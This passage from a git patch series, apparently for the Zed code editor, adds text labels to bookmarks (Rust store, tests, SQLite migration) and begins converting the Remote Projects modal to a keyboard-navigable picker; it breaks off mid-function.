     /// If a bookmark already exists on the same row, it will be removed.
-    /// Otherwise, a new bookmark will be added.
+    /// Otherwise, a new bookmark will be added with the given label.
     pub fn toggle_bookmark(
         &mut self,
         buffer: Entity<Buffer>,
         anchor: text::Anchor,
+        label: String,
         cx: &mut Context<Self>,
     ) {
         let Some(abs_path) = Self::abs_path_from_buffer(&buffer, cx) else {
@@ -192,7 +196,8 @@ impl BookmarkStore {
         let snapshot = buffer.read(cx).text_snapshot();
 
         let existing_index = buffer_bookmarks.bookmarks.iter().position(|existing| {
-            existing.0.summary::<Point>(&snapshot).row == anchor.summary::<Point>(&snapshot).row
+            existing.anchor.summary::<Point>(&snapshot).row
+                == anchor.summary::<Point>(&snapshot).row
         });
 
         if let Some(index) = existing_index {
@@ -201,12 +206,72 @@ impl BookmarkStore {
                 self.bookmarks.remove(&abs_path);
             }
         } else {
-            buffer_bookmarks.bookmarks.push(BookmarkAnchor(anchor));
+            buffer_bookmarks.bookmarks.push(Bookmark { anchor, label });
         }
 
         cx.notify();
     }
 
+    pub fn find_bookmark(
+        &mut self,
+        buffer: &Entity<Buffer>,
+        anchor: text::Anchor,
+        cx: &mut Context<Self>,
+    ) -> Option<&Bookmark> {
+        let Some(abs_path) = Self::abs_path_from_buffer(buffer, cx) else {
+            return None;
+        };
+
+        self.resolve_anchors_if_needed(&abs_path, buffer, cx);
+
+        let entry = self
+            .bookmarks
+            .entry(abs_path.clone())
+            .or_insert_with(|| BookmarkEntry::Loaded(BufferBookmarks::new(buffer.clone(), cx)));
+
+        let BookmarkEntry::Loaded(buffer_bookmarks) = entry else {
+            unreachable!("resolve_if_needed should have converted to Loaded");
+        };
+
+        let snapshot = buffer.read(cx).text_snapshot();
+
+        buffer_bookmarks.bookmarks.iter().find(|existing| {
+            existing.anchor.summary::<Point>(&snapshot).row
+                == anchor.summary::<Point>(&snapshot).row
+        })
+    }
+
+    pub fn edit_bookmark(
+        &mut self,
+        buffer: &Entity<Buffer>,
+        anchor: text::Anchor,
+        label: String,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(abs_path) = Self::abs_path_from_buffer(buffer, cx) else {
+            return;
+        };
+
+        self.resolve_anchors_if_needed(&abs_path, buffer, cx);
+
+        let Some(BookmarkEntry::Loaded(buffer_bookmarks)) = self.bookmarks.get_mut(&abs_path)
+        else {
+            return;
+        };
+
+        let snapshot = buffer.read(cx).text_snapshot();
+        let row = anchor.summary::<Point>(&snapshot).row;
+
+        if let Some(bookmark) = buffer_bookmarks
+            .bookmarks
+            .iter_mut()
+            .find(|existing| existing.anchor.summary::<Point>(&snapshot).row == row)
+        {
+            bookmark.label = label;
+            cx.notify();
+        }
+    }
+
     /// Returns the bookmarks for a given buffer within an optional range.
     /// Only returns bookmarks that have been resolved to anchors (loaded).
     /// Unloaded bookmarks for the given buffer will be resolved first.
@@ -216,7 +281,7 @@ impl BookmarkStore {
         range: Range<text::Anchor>,
         buffer_snapshot: &BufferSnapshot,
         cx: &mut Context<Self>,
-    ) -> Vec<BookmarkAnchor> {
+    ) -> Vec<Bookmark> {
         let Some(abs_path) = Self::abs_path_from_buffer(&buffer, cx) else {
             return Vec::new();
         };
@@ -232,17 +297,17 @@ impl BookmarkStore {
             .iter()
             .filter_map({
                 move |bookmark| {
-                    if !buffer_snapshot.can_resolve(&bookmark.anchor()) {
+                    if !buffer_snapshot.can_resolve(&bookmark.anchor) {
                         return None;
                     }
 
-                    if bookmark.anchor().cmp(&range.start, buffer_snapshot).is_lt()
-                        || bookmark.anchor().cmp(&range.end, buffer_snapshot).is_gt()
+                    if bookmark.anchor.cmp(&range.start, buffer_snapshot).is_lt()
+                        || bookmark.anchor.cmp(&range.end, buffer_snapshot).is_gt()
                     {
                         return None;
                     }
 
-                    Some(*bookmark)
+                    Some(bookmark.clone())
                 }
             })
             .collect()
@@ -310,19 +375,22 @@ impl BookmarkStore {
                             .bookmarks
                             .iter()
                             .filter_map(|bookmark| {
-                                if !snapshot.can_resolve(&bookmark.anchor()) {
+                                if !snapshot.can_resolve(&bookmark.anchor) {
                                     return None;
                                 }
                                 let row =
-                                    snapshot.summary_for_anchor::<Point>(&bookmark.anchor()).row;
-                                Some(SerializedBookmark(row))
+                                    snapshot.summary_for_anchor::<Point>(&bookmark.anchor).row;
+                                Some(SerializedBookmark {
+                                    row,
+                                    label: bookmark.label.clone(),
+                                })
                             })
                             .collect()
                     }
                 };
 
-                rows.sort_unstable();
-                rows.dedup();
+                rows.sort_unstable_by_key(|a| a.row);
+                rows.dedup_by_key(|a| a.row);
 
                 if rows.is_empty() {
                     None
@@ -346,8 +414,8 @@ impl BookmarkStore {
                 let ranges: Vec<Range<Point>> = bookmarks
                     .bookmarks()
                     .iter()
-                    .map(|anchor| {
-                        let row = snapshot.summary_for_anchor::<Point>(&anchor.anchor()).row;
+                    .map(|bookmark| {
+                        let row = snapshot.summary_for_anchor::<Point>(&bookmark.anchor).row;
                         Point::row_range(row..row)
                     })
                     .collect();
diff --git a/crates/project/tests/integration/bookmark_store.rs b/crates/project/tests/integration/bookmark_store.rs
index 3b84a0c76b6593..1329513b11589c 100644
--- a/crates/project/tests/integration/bookmark_store.rs
+++ b/crates/project/tests/integration/bookmark_store.rs
@@ -23,6 +23,13 @@ mod integration {
         Arc::from(Path::new(path))
     }
 
+    fn serialized_bookmark(row: u32) -> SerializedBookmark {
+        SerializedBookmark {
+            row,
+            label: String::new(),
+        }
+    }
+
     async fn open_buffer(
         project: &Entity<Project>,
         path: &str,
@@ -49,12 +56,30 @@ mod integration {
             for &row in rows {
                 let anchor = snapshot.anchor_after(text::Point::new(row, 0));
                 bookmark_store.update(cx, |store, cx| {
-                    store.toggle_bookmark(buffer.clone(), anchor, cx);
+                    store.toggle_bookmark(buffer.clone(), anchor, String::new(), cx);
                 });
             }
         });
     }
 
+    fn add_labeled_bookmark(
+        project: &Entity<Project>,
+        buffer: &Entity<Buffer>,
+        row: u32,
+        label: &str,
+        cx: &mut TestAppContext,
+    ) {
+        let buffer = buffer.clone();
+        project.update(cx, |project, cx| {
+            let bookmark_store = project.bookmark_store();
+            let snapshot = buffer.read(cx).snapshot();
+            let anchor = snapshot.anchor_after(text::Point::new(row, 0));
+            bookmark_store.update(cx, |store, cx| {
+                store.toggle_bookmark(buffer.clone(), anchor, label.to_string(), cx);
+            });
+        });
+    }
+
     fn get_all_bookmarks(
         project: &Entity<Project>,
         cx: &mut TestAppContext,
@@ -75,7 +100,7 @@ mod integration {
             let path = project_path(path_str);
             map.insert(
                 path.clone(),
-                rows.iter().map(|&row| SerializedBookmark(row)).collect(),
+                rows.iter().map(|&row| serialized_bookmark(row)).collect(),
             );
         }
         map
@@ -113,10 +138,26 @@ mod integration {
         let file_bookmarks = bookmarks
             .get(&path)
             .unwrap_or_else(|| panic!("Expected bookmarks for {}", path.display()));
-        let rows: Vec<u32> = file_bookmarks.iter().map(|b| b.0).collect();
+        let rows: Vec<u32> = file_bookmarks.iter().map(|b| b.row).collect();
         assert_eq!(rows, expected_rows, "Bookmark rows for {}", path.display());
     }
 
+    fn assert_bookmark_labels(
+        bookmarks: &BTreeMap<Arc<Path>, Vec<SerializedBookmark>>,
+        path: &str,
+        expected: &[(u32, &str)],
+    ) {
+        let path = project_path(path);
+        let file_bookmarks = bookmarks
+            .get(&path)
+            .unwrap_or_else(|| panic!("Expected bookmarks for {}", path.display()));
+        let actual: Vec<_> = file_bookmarks
+            .iter()
+            .map(|bookmark| (bookmark.row, bookmark.label.as_str()))
+            .collect();
+        assert_eq!(actual, expected, "Bookmark labels for {}", path.display());
+    }
+
     #[gpui::test]
     async fn test_all_serialized_bookmarks_empty(cx: &mut TestAppContext) {
         init_test(cx);
@@ -152,6 +193,32 @@ mod integration {
         assert_bookmark_rows(&bookmarks, path!("/project/file1.rs"), &[0, 2]);
     }
 
+    #[gpui::test]
+    async fn test_all_serialized_bookmarks_includes_labels(cx: &mut TestAppContext) {
+        init_test(cx);
+        cx.executor().allow_parking();
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({"file1.rs": "line1\nline2\nline3\n"}),
+        )
+        .await;
+
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        let buffer = open_buffer(&project, path!("/project/file1.rs"), cx).await;
+
+        add_labeled_bookmark(&project, &buffer, 0, "first", cx);
+        add_labeled_bookmark(&project, &buffer, 2, "  keeps inner spaces  ", cx);
+
+        let bookmarks = get_all_bookmarks(&project, cx);
+        assert_bookmark_labels(
+            &bookmarks,
+            path!("/project/file1.rs"),
+            &[(0, "first"), (2, "  keeps inner spaces  ")],
+        );
+    }
+
     #[gpui::test]
     async fn test_all_serialized_bookmarks_multiple_files(cx: &mut TestAppContext) {
         init_test(cx);
@@ -293,7 +360,7 @@ mod integration {
             .get(&project_path(path!("/project/file1.rs")))
             .unwrap()
             .iter()
-            .map(|b| b.0)
+            .map(|b| b.row)
             .collect();
         let mut deduped = rows.clone();
         deduped.dedup();
diff --git a/crates/workspace/src/persistence.rs b/crates/workspace/src/persistence.rs
index 1295ce60e521b7..0baeb8f854f503 100644
--- a/crates/workspace/src/persistence.rs
+++ b/crates/workspace/src/persistence.rs
@@ -394,12 +394,13 @@ pub async fn write_default_dock_state(
 #[derive(Debug)]
 pub struct Bookmark {
     pub row: u32,
+    pub label: String,
 }
 
 impl sqlez::bindable::StaticColumnCount for Bookmark {
     fn column_count() -> usize {
-        // row
-        1
+        // row, label
+        2
     }
 }
 
@@ -409,7 +410,8 @@ impl sqlez::bindable::Bind for Bookmark {
         statement: &sqlez::statement::Statement,
         start_index: i32,
     ) -> anyhow::Result<i32> {
-        statement.bind(&self.row, start_index)
+        let next_index = statement.bind(&self.row, start_index)?;
+        statement.bind(&self.label, next_index)
     }
 }
 
@@ -420,7 +422,9 @@ impl Column for Bookmark {
             .with_context(|| format!("Failed to read bookmark at index {start_index}"))?
             as u32;
 
-        Ok((Bookmark { row }, start_index + 1))
+        let (label, next_index) = String::column(statement, start_index + 1)?;
+
+        Ok((Bookmark { row, label }, next_index))
     }
 }
 
@@ -1044,6 +1048,9 @@ impl Domain for WorkspaceDb {
             ALTER TABLE workspaces ADD COLUMN identity_paths TEXT;
             ALTER TABLE workspaces ADD COLUMN identity_paths_order TEXT;
         ),
+        sql!(
+            ALTER TABLE bookmarks ADD COLUMN label TEXT NOT NULL DEFAULT "";
+        ),
     ];
 
     // Allow recovering from bad migration that was initially shipped to nightly
@@ -1305,7 +1312,7 @@ impl WorkspaceDb {
     fn bookmarks(&self, workspace_id: WorkspaceId) -> BTreeMap<Arc<Path>, Vec<SerializedBookmark>> {
         let bookmarks: Result<Vec<(PathBuf, Bookmark)>> = self
             .select_bound(sql! {
-                SELECT path, row
+                SELECT path, row, label
                 FROM bookmarks
                 WHERE workspace_id = ?
                 ORDER BY path, row
@@ -1324,7 +1331,10 @@ impl WorkspaceDb {
                     let path: Arc<Path> = path.into();
                     map.entry(path.clone())
                         .or_default()
-                        .push(SerializedBookmark(bookmark.row))
+                        .push(SerializedBookmark {
+                            row: bookmark.row,
+                            label: bookmark.label,
+                        })
                 }
 
                 map
@@ -1485,9 +1495,9 @@ impl WorkspaceDb {
                 for (path, bookmarks) in workspace.bookmarks {
                     for bookmark in bookmarks {
                         conn.exec_bound(sql!(
-                            INSERT INTO bookmarks (workspace_id, path, row)
-                            VALUES (?1, ?2, ?3);
-                        ))?((workspace.id, path.as_ref(), bookmark.0)).context("Inserting bookmark")?;
+                            INSERT INTO bookmarks (workspace_id, path, row, label)
+                            VALUES (?1, ?2, ?3, ?4);
+                        ))?((workspace.id, path.as_ref(), bookmark.row, bookmark.label)).context("Inserting bookmark")?;
                     }
                 }
 

From d8228b4280046966cb197b417a844dd0067bbe06 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 22 Jun 2026 18:11:40 -0300
Subject: [PATCH 043/772] Restore keyboard navigation for Remote Projects modal
 (#59336)

Recently realized that the Remote Projects default view isn't keyboard
navigable anymore: arrow keys up and down to navigate through the list
don't work. So, this PR makes that state of the view use a picker, which
gives us a bunch of these search + nav stuff for free. Ended up also
doing some light changes to the UI so it's more consistent with any
other picker in the app thus far. All other views of the multi-flow
modal are untouched.

Release Notes:

- Fixed a bug where the Remote Projects modal wasn't keyboard navigable
anymore.
---
 crates/recent_projects/src/remote_servers.rs  | 1707 ++++++++---------
 .../src/remote_servers/filter.rs              |  412 ++--
 2 files changed, 968 insertions(+), 1151 deletions(-)

diff --git a/crates/recent_projects/src/remote_servers.rs b/crates/recent_projects/src/remote_servers.rs
index e83a8fd045bc6f..9e6653b43d738b 100644
--- a/crates/recent_projects/src/remote_servers.rs
+++ b/crates/recent_projects/src/remote_servers.rs
@@ -11,19 +11,18 @@ use dev_container::{
     DevContainerConfig, DevContainerContext, find_devcontainer_configs,
     start_dev_container_with_config,
 };
-use editor::{Editor, EditorEvent};
+use editor::Editor;
 use extension_host::ExtensionStore;
 use filter::{FilterData, FilteredServer};
 use futures::{FutureExt, StreamExt as _, channel::oneshot, future::Shared};
 use gpui::{
-    Action, AnyElement, App, ClickEvent, ClipboardItem, Context, DismissEvent, Entity,
-    EventEmitter, FocusHandle, Focusable, PromptLevel, ScrollHandle, Subscription, Task, TaskExt,
-    WeakEntity, Window, canvas,
+    Action, AnyElement, App, ClipboardItem, Context, DismissEvent, Entity, EventEmitter,
+    FocusHandle, Focusable, PromptLevel, Subscription, Task, TaskExt, WeakEntity, Window,
 };
 use log::{debug, info};
 use open_path_prompt::OpenPathDelegate;
 use paths::{global_ssh_config_file, user_ssh_config_file};
-use picker::{Picker, PickerDelegate};
+use picker::{Picker, PickerDelegate, PickerEditorPosition};
 use project::{Fs, Project};
 use remote::{
     RemoteClient, RemoteConnectionOptions, SshConnectionOptions, WslConnectionOptions,
@@ -37,7 +36,6 @@ use std::{
     borrow::Cow,
     collections::BTreeSet,
     path::PathBuf,
-    rc::Rc,
     sync::{
         Arc,
         atomic::{self, AtomicBool, AtomicUsize},
@@ -45,9 +43,8 @@ use std::{
 };
 
 use ui::{
-    CommonAnimationExt, HighlightedLabel, IconButtonShape, KeyBinding, List, ListItem,
-    ListSeparator, Modal, ModalFooter, ModalHeader, Navigable, NavigableEntry, ScrollAxes,
-    Scrollbars, Section, Tooltip, WithScrollbar, prelude::*,
+    CommonAnimationExt, HighlightedLabel, IconButtonShape, KeyBinding, ListItem, ListSeparator,
+    ModalHeader, Navigable, NavigableEntry, Tooltip, prelude::*,
 };
 use util::{
     ResultExt,
@@ -63,7 +60,7 @@ use workspace::{
 pub struct RemoteServerProjects {
     mode: Mode,
     focus_handle: FocusHandle,
-    filter_editor: Entity<Editor>,
+    default_picker: Entity<Picker<RemoteServerPickerDelegate>>,
     workspace: WeakEntity<Workspace>,
     retained_connections: Vec<Entity<RemoteClient>>,
     ssh_config_updates: Task<()>,
@@ -71,8 +68,6 @@ pub struct RemoteServerProjects {
     create_new_window: bool,
     dev_container_picker: Option<Entity<Picker<DevContainerPickerDelegate>>>,
     _subscriptions: Vec<Subscription>,
-    filter_cancel: Arc<AtomicBool>,
-    _filter_task: Task<()>,
     allow_dismissal: bool,
 }
 
@@ -636,30 +631,22 @@ impl From<WslServerIndex> for ServerIndex {
 
 #[derive(Clone)]
 struct ProjectEntry {
-    navigation: NavigableEntry,
     project: RemoteProject,
 }
 
 #[derive(Clone)]
 enum RemoteEntry {
     Project {
-        open_folder: NavigableEntry,
         projects: Vec<ProjectEntry>,
-        configure: NavigableEntry,
         connection: Connection,
         index: ServerIndex,
     },
     SshConfig {
-        open_folder: NavigableEntry,
         host: SharedString,
     },
 }
 
 impl RemoteEntry {
-    fn is_from_zed(&self) -> bool {
-        matches!(self, Self::Project { .. })
-    }
-
     fn display_host(&self) -> &str {
         match self {
             Self::Project { connection, .. } => match connection {
@@ -701,10 +688,6 @@ impl RemoteEntry {
 
 #[derive(Clone)]
 struct DefaultState {
-    scroll_handle: ScrollHandle,
-    add_new_server: NavigableEntry,
-    add_new_devcontainer: NavigableEntry,
-    add_new_wsl: NavigableEntry,
     servers: Vec<RemoteEntry>,
     /// `None` when no filter is active; `Some` carries the fuzzy match results
     /// (server/project indices plus highlight positions) sorted by score.
@@ -714,11 +697,6 @@ struct DefaultState {
 
 impl DefaultState {
     fn new(ssh_config_servers: &BTreeSet<SharedString>, cx: &mut App) -> Self {
-        let handle = ScrollHandle::new();
-        let add_new_server = NavigableEntry::new(&handle, cx);
-        let add_new_devcontainer = NavigableEntry::new(&handle, cx);
-        let add_new_wsl = NavigableEntry::new(&handle, cx);
-
         let ssh_settings = RemoteSettings::get_global(cx);
         let read_ssh_config = ssh_settings.read_ssh_config;
 
@@ -726,19 +704,14 @@ impl DefaultState {
             .ssh_connections()
             .enumerate()
             .map(|(index, connection)| {
-                let open_folder = NavigableEntry::new(&handle, cx);
-                let configure = NavigableEntry::new(&handle, cx);
                 let projects = connection
                     .projects
                     .iter()
                     .map(|project| ProjectEntry {
-                        navigation: NavigableEntry::new(&handle, cx),
                         project: project.clone(),
                     })
                     .collect();
                 RemoteEntry::Project {
-                    open_folder,
-                    configure,
                     projects,
                     index: ServerIndex::Ssh(SshServerIndex(index)),
                     connection: connection.into(),
@@ -749,19 +722,14 @@ impl DefaultState {
             .wsl_connections()
             .enumerate()
             .map(|(index, connection)| {
-                let open_folder = NavigableEntry::new(&handle, cx);
-                let configure = NavigableEntry::new(&handle, cx);
                 let projects = connection
                     .projects
                     .iter()
                     .map(|project| ProjectEntry {
-                        navigation: NavigableEntry::new(&handle, cx),
                         project: project.clone(),
                     })
                     .collect();
                 RemoteEntry::Project {
-                    open_folder,
-                    configure,
                     projects,
                     index: ServerIndex::Wsl(WslServerIndex(index)),
                     connection: connection.into(),
@@ -781,20 +749,15 @@ impl DefaultState {
                     extra_servers_from_config.remove(&SharedString::new(ssh_options.host.clone()));
                 }
             }
-            servers.extend(extra_servers_from_config.into_iter().map(|host| {
-                RemoteEntry::SshConfig {
-                    open_folder: NavigableEntry::new(&handle, cx),
-                    host,
-                }
-            }));
+            servers.extend(
+                extra_servers_from_config
+                    .into_iter()
+                    .map(|host| RemoteEntry::SshConfig { host }),
+            );
         }
 
         let filter_data = Arc::new(FilterData::build(&servers));
         Self {
-            scroll_handle: handle,
-            add_new_server,
-            add_new_devcontainer,
-            add_new_wsl,
             servers,
             filtered_servers: None,
             filter_data,
@@ -808,70 +771,6 @@ impl DefaultState {
         }
         self.filtered_servers = Some(filter::run_sync(&self.filter_data, query));
     }
-
-    /// Resolves [`filtered_servers`] (or the unfiltered source list) into a
-    /// flat list of borrowed `RemoteEntry`s paired with their highlight
-    /// positions. Rendering iterates this list rather than touching either
-    /// source directly; the borrowed entries avoid cloning the underlying
-    /// `RemoteEntry`/`RemoteProject` data on the per-keystroke path (only the
-    /// lightweight borrow vectors are allocated).
-    fn visible_servers(&self) -> Vec<VisibleEntry<'_>> {
-        match &self.filtered_servers {
-            None => self
-                .servers
-                .iter()
-                .map(|server| VisibleEntry {
-                    server,
-                    host_positions: &[],
-                    visible_projects: match server {
-                        RemoteEntry::Project { projects, .. } => projects
-                            .iter()
-                            .map(|entry| VisibleProject {
-                                entry,
-                                highlight_positions: &[],
-                            })
-                            .collect(),
-                        RemoteEntry::SshConfig { .. } => Vec::new(),
-                    },
-                })
-                .collect(),
-            Some(results) => results
-                .iter()
-                .filter_map(|filtered| {
-                    let server = self.servers.get(filtered.server_index)?;
-                    let visible_projects = match server {
-                        RemoteEntry::Project { projects, .. } => filtered
-                            .project_matches
-                            .iter()
-                            .filter_map(|pm| {
-                                projects.get(pm.project_index).map(|entry| VisibleProject {
-                                    entry,
-                                    highlight_positions: &pm.path_positions,
-                                })
-                            })
-                            .collect(),
-                        RemoteEntry::SshConfig { .. } => Vec::new(),
-                    };
-                    Some(VisibleEntry {
-                        server,
-                        host_positions: &filtered.host_positions,
-                        visible_projects,
-                    })
-                })
-                .collect(),
-        }
-    }
-}
-
-struct VisibleEntry<'a> {
-    server: &'a RemoteEntry,
-    host_positions: &'a [usize],
-    visible_projects: Vec<VisibleProject<'a>>,
-}
-
-struct VisibleProject<'a> {
-    entry: &'a ProjectEntry,
-    highlight_positions: &'a [usize],
 }
 
 #[derive(Clone)]
@@ -898,7 +797,7 @@ impl ViewServerOptionsState {
 }
 
 enum Mode {
-    Default(DefaultState),
+    Default,
     ViewServerOptions(ViewServerOptionsState),
     EditNickname(EditNicknameState),
     ProjectPicker(Entity<ProjectPicker>),
@@ -909,8 +808,587 @@ enum Mode {
 }
 
 impl Mode {
-    fn default_mode(ssh_config_servers: &BTreeSet<SharedString>, cx: &mut App) -> Self {
-        Self::Default(DefaultState::new(ssh_config_servers, cx))
+    /// The default mode is backed by [`RemoteServerProjects::default_picker`],
+    /// which is rebuilt from settings independently, so this just selects the
+    /// variant and ignores its arguments.
+    fn default_mode(_ssh_config_servers: &BTreeSet<SharedString>, _cx: &mut App) -> Self {
+        Self::Default
+    }
+}
+
+enum RemoteMatch {
+    AddServer,
+    AddDevContainer,
+    AddWsl,
+    Separator,
+    ServerHeader {
+        server: usize,
+        host_positions: Vec<usize>,
+    },
+    Project {
+        server: usize,
+        project: usize,
+        positions: Vec<usize>,
+    },
+    OpenFolder {
+        server: usize,
+    },
+    ViewServerOptions {
+        server: usize,
+    },
+}
+
+impl RemoteMatch {
+    fn is_selectable(&self) -> bool {
+        !matches!(
+            self,
+            RemoteMatch::Separator | RemoteMatch::ServerHeader { .. }
+        )
+    }
+}
+
+struct RemoteServerPickerDelegate {
+    remote_server_projects: WeakEntity<RemoteServerProjects>,
+    state: DefaultState,
+    matches: Vec<RemoteMatch>,
+    selected_index: usize,
+    query: String,
+    has_open_project: bool,
+    is_local: bool,
+}
+
+impl RemoteServerPickerDelegate {
+    fn new(
+        remote_server_projects: WeakEntity<RemoteServerProjects>,
+        ssh_config_servers: &BTreeSet<SharedString>,
+        has_open_project: bool,
+        is_local: bool,
+        cx: &mut App,
+    ) -> Self {
+        let mut this = Self {
+            remote_server_projects,
+            state: DefaultState::new(ssh_config_servers, cx),
+            matches: Vec::new(),
+            selected_index: 0,
+            query: String::new(),
+            has_open_project,
+            is_local,
+        };
+        this.rebuild_matches();
+        this
+    }
+
+    fn reload(
+        &mut self,
+        ssh_config_servers: &BTreeSet<SharedString>,
+        has_open_project: bool,
+        is_local: bool,
+        cx: &mut App,
+    ) {
+        self.has_open_project = has_open_project;
+        self.is_local = is_local;
+        self.state = DefaultState::new(ssh_config_servers, cx);
+        // Settings/ssh-config changes are rare, so re-applying the active query
+        // synchronously here is fine; the per-keystroke path filters off-thread.
+        self.state.filter_sync(self.query.trim());
+        self.rebuild_matches();
+    }
+
+    /// Flattens the current (already-filtered) `DefaultState` into the picker's
+    /// match list. The fuzzy filtering itself runs separately (off-thread on the
+    /// keystroke path, see [`Self::update_matches`]); this only reads
+    /// [`DefaultState::filtered_servers`].
+    fn rebuild_matches(&mut self) {
+        let has_open_project = self.has_open_project;
+        let is_local = self.is_local;
+
+        let mut matches = Vec::new();
+        if self.query.trim().is_empty() {
+            matches.push(RemoteMatch::AddServer);
+            if has_open_project && is_local {
+                matches.push(RemoteMatch::AddDevContainer);
+            }
+            if cfg!(target_os = "windows") {
+                matches.push(RemoteMatch::AddWsl);
+            }
+        }
+
+        let push_server = |matches: &mut Vec<RemoteMatch>,
+                           server_index: usize,
+                           server: &RemoteEntry,
+                           host_positions: Vec<usize>,
+                           project_matches: Vec<(usize, Vec<usize>)>| {
+            if !matches.is_empty() {
+                matches.push(RemoteMatch::Separator);
+            }
+            matches.push(RemoteMatch::ServerHeader {
+                server: server_index,
+                host_positions,
+            });
+            match server {
+                RemoteEntry::Project { .. } => {
+                    for (project, positions) in project_matches {
+                        matches.push(RemoteMatch::Project {
+                            server: server_index,
+                            project,
+                            positions,
+                        });
+                    }
+                    matches.push(RemoteMatch::OpenFolder {
+                        server: server_index,
+                    });
+                    matches.push(RemoteMatch::ViewServerOptions {
+                        server: server_index,
+                    });
+                }
+                RemoteEntry::SshConfig { .. } => {
+                    matches.push(RemoteMatch::OpenFolder {
+                        server: server_index,
+                    });
+                }
+            }
+        };
+
+        match &self.state.filtered_servers {
+            None => {
+                for (server_index, server) in self.state.servers.iter().enumerate() {
+                    let project_matches = match server {
+                        RemoteEntry::Project { projects, .. } => {
+                            (0..projects.len()).map(|p| (p, Vec::new())).collect()
+                        }
+                        RemoteEntry::SshConfig { .. } => Vec::new(),
+                    };
+                    push_server(
+                        &mut matches,
+                        server_index,
+                        server,
+                        Vec::new(),
+                        project_matches,
+                    );
+                }
+            }
+            Some(results) => {
+                for filtered in results {
+                    let server_index = filtered.server_index;
+                    let Some(server) = self.state.servers.get(server_index) else {
+                        continue;
+                    };
+                    let project_matches = filtered
+                        .project_matches
+                        .iter()
+                        .map(|pm| (pm.project_index, pm.path_positions.clone()))
+                        .collect();
+                    push_server(
+                        &mut matches,
+                        server_index,
+                        server,
+                        filtered.host_positions.clone(),
+                        project_matches,
+                    );
+                }
+            }
+        }
+
+        self.matches = matches;
+        self.selected_index = self
+            .matches
+            .iter()
+            .position(RemoteMatch::is_selectable)
+            .unwrap_or(0);
+    }
+
+    fn render_server_header(
+        &self,
+        server_index: usize,
+        host_positions: &[usize],
+    ) -> Option<AnyElement> {
+        let server = self.state.servers.get(server_index)?;
+        let connection = server.connection().into_owned();
+        let (main_label, aux_label, is_wsl) = match &connection {
+            Connection::Ssh(connection) => {
+                if let Some(nickname) = connection.nickname.clone() {
+                    let aux_label = SharedString::from(format!("({})", connection.host));
+                    (nickname, Some(aux_label), false)
+                } else {
+                    (connection.host.clone(), None, false)
+                }
+            }
+            Connection::Wsl(connection) => (connection.distro_name.clone(), None, true),
+            Connection::DevContainer(connection) => (connection.name.clone(), None, false),
+        };
+        Some(
+            h_flex()
+                .w_full()
+                .pt_1()
+                .px_3()
+                .gap_1()
+                .overflow_hidden()
+                .child(
+                    h_flex()
+                        .gap_1()
+                        .max_w_96()
+                        .overflow_hidden()
+                        .text_ellipsis()
+                        .when(is_wsl, |this| {
+                            this.child(
+                                Label::new("WSL:")
+                                    .size(LabelSize::Small)
+                                    .color(Color::Muted),
+                            )
+                        })
+                        .child(
+                            HighlightedLabel::new(main_label, host_positions.to_vec())
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                        ),
+                )
+                .children(
+                    aux_label
+                        .map(|label| Label::new(label).size(LabelSize::Small).color(Color::Muted)),
+                )
+                .into_any_element(),
+        )
+    }
+
+    fn render_action_item(
+        &self,
+        ix: usize,
+        icon: IconName,
+        label: &'static str,
+        selected: bool,
+    ) -> AnyElement {
+        ListItem::new(("remote-action", ix))
+            .toggle_state(selected)
+            .inset(true)
+            .spacing(ui::ListItemSpacing::Sparse)
+            .start_slot(Icon::new(icon).color(Color::Muted))
+            .child(Label::new(label))
+            .into_any_element()
+    }
+}
+
+impl PickerDelegate for RemoteServerPickerDelegate {
+    type ListItem = AnyElement;
+
+    fn name() -> &'static str {
+        "RemoteServerPicker"
+    }
+
+    fn match_count(&self) -> usize {
+        self.matches.len()
+    }
+
+    fn selected_index(&self) -> usize {
+        self.selected_index
+    }
+
+    fn set_selected_index(
+        &mut self,
+        ix: usize,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) {
+        self.selected_index = ix;
+    }
+
+    fn can_select(&self, ix: usize, _window: &mut Window, _cx: &mut Context<Picker<Self>>) -> bool {
+        self.matches.get(ix).is_some_and(RemoteMatch::is_selectable)
+    }
+
+    fn editor_position(&self) -> PickerEditorPosition {
+        PickerEditorPosition::Start
+    }
+
+    fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
+        "Search remote projects…".into()
+    }
+
+    fn no_matches_text(&self, _window: &mut Window, _cx: &mut App) -> Option<SharedString> {
+        Some("No matching remote projects.".into())
+    }
+
+    fn update_matches(
+        &mut self,
+        query: String,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Task<()> {
+        self.query = query;
+        let query = self.query.trim().to_string();
+
+        if query.is_empty() {
+            self.state.filtered_servers = None;
+            self.rebuild_matches();
+            cx.notify();
+            return Task::ready(());
+        }
+
+        let filter_data = self.state.filter_data.clone();
+        let executor = cx.background_executor().clone();
+        cx.spawn_in(window, async move |picker, cx| {
+            // A fresh, never-set cancel flag: stale runs are abandoned when the
+            // Picker drops this task on the next keystroke, so out-of-order
+            // results can't be applied (mirrors `command_palette`).
+            let cancel = AtomicBool::new(false);
+            let Some(results) = filter::run_async(&filter_data, &query, &cancel, executor).await
+            else {
+                return;
+            };
+            picker
+                .update(cx, |picker, cx| {
+                    picker.delegate.state.filtered_servers = Some(results);
+                    picker.delegate.rebuild_matches();
+                    cx.notify();
+                })
+                .ok();
+        })
+    }
+
+    fn confirm(&mut self, secondary: bool, window: &mut Window, cx: &mut Context<Picker<Self>>) {
+        let Some(entry) = self.matches.get(self.selected_index) else {
+            return;
+        };
+        let remote_server_projects = self.remote_server_projects.clone();
+        match entry {
+            RemoteMatch::Separator | RemoteMatch::ServerHeader { .. } => {}
+            RemoteMatch::AddServer => {
+                remote_server_projects
+                    .update(cx, |this, cx| {
+                        this.mode = Mode::CreateRemoteServer(CreateRemoteServer::new(window, cx));
+                        cx.notify();
+                    })
+                    .ok();
+            }
+            RemoteMatch::AddDevContainer => {
+                remote_server_projects
+                    .update(cx, |this, cx| {
+                        this.init_dev_container_mode(window, cx);
+                    })
+                    .ok();
+            }
+            RemoteMatch::AddWsl => {
+                #[cfg(target_os = "windows")]
+                remote_server_projects
+                    .update(cx, |this, cx| {
